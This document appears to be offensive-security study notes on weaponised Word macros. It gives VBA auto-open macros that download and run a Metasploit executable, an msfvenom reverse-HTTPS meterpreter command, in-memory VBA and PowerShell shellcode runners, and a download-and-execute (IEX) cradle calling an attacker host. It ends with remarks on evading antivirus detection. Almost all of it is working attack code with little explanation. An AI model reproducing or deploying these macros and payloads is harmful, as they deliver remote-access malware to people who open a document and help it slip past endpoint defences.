VBA with Powershell on Disk

Download the staged payload and the execute it

Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
 
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://10.0.0.241/msfstaged.exe', 'msfstaged.exe')"
 
Shell str, vbHide
 
Dim exePath As String
exePath = ActiveDocument.Path + "\msfstaged.exe"
 
Wait (2)
Shell exePath, vbHide
End Sub
 
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End Sub

With Invoke Web Request

Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
 
Sub MyMacro()
    Dim str As String
    Dim exePath As String
 
    ' PowerShell command to download the file using Invoke-WebRequest
    str = "powershell -Command ""Invoke-WebRequest -Uri 'http://10.0.0.241/msfstaged.exe' -OutFile 'msfstaged.exe'"""
 
    ' Execute the PowerShell command to download the file
    Shell str, vbHide
 
    ' Wait for the download to complete (adjust the time as needed)
    Wait (5)
 
    ' Specify the path to the downloaded executable
    exePath = ThisDocument.Path & "\msfstaged.exe"
 
    ' Execute the downloaded executable
    Shell exePath, vbHide
End Sub
 
Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub
 

VBA in memory

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
 
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
 
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
 
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
 
buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _ ... 49, 57, 50, 46, 49, 54, 56, 46, 49, 55, 54, 46, 49, 52, 50, 0, 187, 224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213)
 
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
 
For counter = LBound(buf) To UBound(buf)
	data = buf(counter) 
	res = RtlMoveMemory(addr + counter, data, 1)
	Next counter
 
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
 
Sub Document_Open()
MyMacro
End Sub
 
Sub AutoOpen()
MyMacro
End Sub

Note: To work as expected, this requires a matching 32-bit multi/handler in Metasploit with the EXITFUNC set to “thread” and matching IP and port number.

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication

VBA and Powershell combined

Create a ps1 or txt file with following content

$Kernel32 = @" 
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@
 
[DllImport("kernel32.dll", SetLastError=true)] public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
 
Add-Type $Kernel32
 
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60...
$size = $buf.Length [IntPtr]
$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40); [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Create VBA macro

Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX" 
 
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub

Notes for the Shell Above

Since our VBA and PowerShell shellcode runners do not write to disk, it seems safe to assume that they are fully executing from memory.

  • However, PowerShell and the .NET framework leave artifacts on the hard drive that antivirus programs can identify.

Check Assemblies in powershell

[appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullname

As shown in the list of loaded assemblies, the rtylilrr file is indeed loaded into the process.

Our investigation reveals that PowerShell writes a C# source code file (.cs) to the hard drive, which is compiled into an assembly (.dll) and then loaded into the process.

The Add-Type code will likely be flagged by endpoint antivirus, which will halt our attack. We’ll need to rebuild our PowerShell shellcode runner to avoid this.